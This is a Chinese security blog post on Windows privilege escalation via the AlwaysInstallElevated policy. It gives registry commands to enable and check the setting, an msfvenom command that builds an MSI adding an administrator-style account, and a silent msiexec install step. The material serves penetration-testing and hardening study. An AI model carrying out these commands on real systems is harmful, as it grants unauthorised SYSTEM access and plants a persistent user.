Windows提权 —— MSI文件提权
MSI文件提权
MSI文件提权,即任意用户以SYSTEM权限安装MSI文件造成提权。AlwaysInstallElevated是注册表的一个键值,当其值为1时候,在系统中使用Windows Installer安装任何程序,允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
MSF集成了漏洞利用模块:exploit/windows/local/always_install_elevated 。详细利用步骤如下:
1. 环境准备
- 激活AlwaysInstallElevated
方法一:本地组策略(gpedit.msc):计算机配置–管理模板–Windows组件–Windows Installer,点击启用“始终以提升的权限进行安装”;用户配置–管理模板–Windows组件–Windows Installer,点击启用“始终以提升的权限进行安装”。
方法二:cmd修改注册表(rgedit)
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

2. 利用步骤
- 判断是否启用了AlwaysInstallElevated策略。当两个注册表键值查询结果均为1时,代表该策略已启用。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

- 使用msfvenom生成恶意程序上传
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi

- msiexec运行MSI文件即可实现提取。
msiexec /quiet /qn /i rotten.msi

【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通